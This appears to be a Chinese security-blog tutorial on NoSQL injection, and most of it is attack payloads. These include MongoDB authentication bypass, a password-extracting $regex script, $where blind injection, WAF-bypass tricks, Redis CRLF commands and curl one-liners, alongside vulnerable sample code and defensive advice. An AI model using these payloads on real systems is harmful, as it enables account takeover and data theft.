PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】NoSQL注入实战:MongoDB/Redis注入技术与WAF绕过全解析

📅 2026年6月10日 📁 Hermes Agent ⏱ 3 分钟

适合人群:初中级安全测试人员

前置知识:SQL注入基础、NoSQL概念(MongoDB/Redis)

一、前置准备


# MongoDB靶场
docker pull vulnerables/web-nosql-injection
docker run -d -p 5000:5000 vulnerables/web-nosql-injection

# 本地测试
pip3 install flask pymongo

测试工具:

  • curl / xcurl
  • Burp Suite(Repeater + Intruder)
  • Python requests(批量测试)

二、核心原理

NoSQL注入与SQL注入的本质区别:

对比SQL注入NoSQL注入
查询语言SQL(结构化)JSON/BSON(文档型)
注入方式字符串拼接操作符注入($ne/$gt/$regex)
绕过难度WAF成熟WAF覆盖率低
返回格式表结构文档/JSON

MongoDB查询示例:


// 正常查询
db.users.find({username: "admin", password: "mypass"})

// 注入查询($ne = not equal)
db.users.find({username: "admin", password: {"$ne": ""}})
// → 密码不为空即通过 ✅

核心漏洞点: 服务端将用户输入的JSON直接传给MongoDB查询,未校验操作符。


# ❌ 漏洞代码
from flask import request
import pymongo

users = mongo.db.users
username = request.json.get('username')
password = request.json.get('password')

# 用户输入 {"username":"admin","password":{"$ne":""}}
# 直接传入MongoDB查询
user = users.find_one({"username": username, "password": password})
# → 等价于: 用户名=admin, 密码不等于空 → 绕过认证 ✅

三、MongoDB注入技术

3.1 认证绕过($ne/$gt)


POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"admin","password":{"$ne":""}}

所有用户都可以登录:


POST /api/login HTTP/1.1
Content-Type: application/json

{"username":{"$gt":""},"password":{"$gt":""}}

3.2 布尔注入($regex)


POST /api/search HTTP/1.1
Content-Type: application/json

{"username":{"$regex":"^a"},"password":{"$ne":""}}

如果返回结果不同,说明可以用 $regex 逐字符爆破。

Python爆破脚本:


import requests, string

url = "http://target.com/api/search"
chars = string.ascii_lowercase + string.digits
password = ""

for i in range(20):  # 最多20位
    for c in chars:
        payload = {"username":"admin","password":{"$regex":f"^{password}{c}.*"}}
        r = requests.post(url, json=payload)
        if "success" in r.text:
            password += c
            print(f"[+] Found: {password}")
            break
    else:
        break  # 没找到 → 密码结束

print(f"[+] Password: {password}")

3.3 时间盲注($where + sleep)


POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"admin","$where":"sleep(5000)"}

如果响应延迟5秒 → 存在盲注。

逐字符盲注:


{"$where":"this.password.charAt(0)=='a' && sleep(5000)"}
{"$where":"this.password.charAt(0)=='b' && sleep(5000)"}
// ... 逐字符爆破

3.4 内容类型混淆

部分API接受多种Content-Type。如果JSON被WAF拦截,换form格式:


POST /api/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[$ne]=

某些PHP框架(如Laravel)解析 password[$ne] 为数组:


// PHP解析结果
['username' => 'admin', 'password' => ['$ne' => '']]

如果后端用 json_encode() 转MongoDB查询,等价于JSON注入。

3.5 隐式AND注入

部分框架将多个GET参数解析为AND条件:


GET /api/users?username=admin&password[$ne]= HTTP/1.1

→ db.users.find({"username":"admin","password":{"$ne":""}})

3.6 报错注入

如果服务端开启了MongoDB详细报错:


POST /api/login HTTP/1.1
Content-Type: application/json

{"username":1,"$where":"1"}

// 报错可能泄露:
{
  "error": "MongoError: $where requires a string, got 1",
  "stack": "at Server.query (server.js:120:15)"
}

四、Redis注入

4.1 CRLF注入

Redis的协议基于文本, \r\n 可注入新命令:


# ❌ 漏洞代码
import redis
r = redis.Redis()
key = request.form['key']  # 用户输入: foo\r\nSET admin_pass 123456
r.get(key)  # → 执行两条命令

利用方式:


key=foo
SET admin_pass 123456          # 修改任意键值
GET admin_flag                  # 读取受保护的键

4.2 认证绕过

如果Redis未授权(6379端口对外):


# 直连Redis
redis-cli -h target.com

# 读敏感键
KEYS *
GET admin_pass
GET flag
GET db_config

五、实战案例

案例1:登录认证绕过


POST /api/v1/login HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "username": "admin",
  "password": {"$ne": ""}
}

响应:


{"code":0,"msg":"登录成功","token":"eyJ...","role":"admin"}

修复后绕过方式(如果过滤了 $ne):


{"username":"admin","password":{"$gt":""}}

案例2:API数据越权读取


POST /api/v1/users HTTP/1.1
Content-Type: application/json

{"role":{"$ne":"admin"},"$where":"1"}

返回所有非admin用户的数据,如果 $where 没被过滤,可改为:


{"role":{"$ne":"admin"},"$where":"this.token.length > 0"}

案例3:FastGPT注入(CVE-2026-40351)

某AI知识库系统存在NoSQL注入:


POST /api/kb/search HTTP/1.1
Content-Type: application/json

{"query":{"$regex":".*"},"userId":{"$ne":""}}

利用效果:

  • 读取所有知识库文档(跨租户数据泄露)
  • 读取其他用户的prompt模板
  • 获取系统配置中的API Key

六、WAF绕过

绕过方式Payload
换Content-TypeContent-Type: application/x-www-form-urlencoded + password[$ne]=
操作符替换$ne$gt / $exists / $nin
编码操作符{"$72egex":"^a"}(部分框架会decode)
嵌套注入{"$or":[{"$and":[{"username":"admin"}]}]}
参数污染username=admin&username[$ne]=

七、防御建议


# ✅ 做法:对用户输入的key做白名单校验
def sanitize_nosql(data):
    """递归过滤NoSQL操作符"""
    forbidden = ['$ne', '$gt', '$regex', '$where', '$nin',
                 '$exists', '$or', '$and', '$nor', '$not']
    if isinstance(data, dict):
        for key in list(data.keys()):
            if key.startswith('$') and key in forbidden:
                del data[key]      # 删除危险操作符
            else:
                sanitize_nosql(data[key])
    elif isinstance(data, list):
        for item in data:
            sanitize_nosql(item)
    return data

防御清单:

措施说明
过滤操作符删除请求中的 $ne/$gt/$regex/$where
类型校验密码必须是字符串,不是对象
ORM替代用Mongoose/ODM的参数化查询
Content-Type限制只接受已知格式,拒绝数组格式

八、常见陷阱

陷阱说明
❌ 以为NoSQL没有注入MongoDB/Redis/CouchDB都有注入
❌ 只防JSON不防formpassword[$ne]= 同样可注入
❌ 过滤$ne就够$gt/$regex/$where/$exists 同样危险
❌ 前端做了过滤Burp直接改包发送

九、总结速查表

MongoDB操作符速查

操作符含义用途
$ne不等于认证绕过(最常用)
$gt大于认证绕过($ne被过滤时)
$regex正则匹配布尔盲注逐字符爆破
$whereJavaScript表达式时间盲注 + 数据提取
$exists字段是否存在探测字段名
$nin不在列表中绕过(不含某值)
$or/$and逻辑运算构造复杂条件

快速检测Payload


# JSON格式
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$ne":""}}'

# Form格式(Content-Type绕WAF)
curl -X POST http://target.com/api/login \
  -d 'username=admin&password[$ne]='

# GET参数格式
curl "http://target.com/api/users?username=admin&password[\$ne]="

# $regex爆破
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$regex":"^a"},"password":{"$ne":""}}'

# $where时间盲注
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","$where":"sleep(5000)"}'
← 返回首页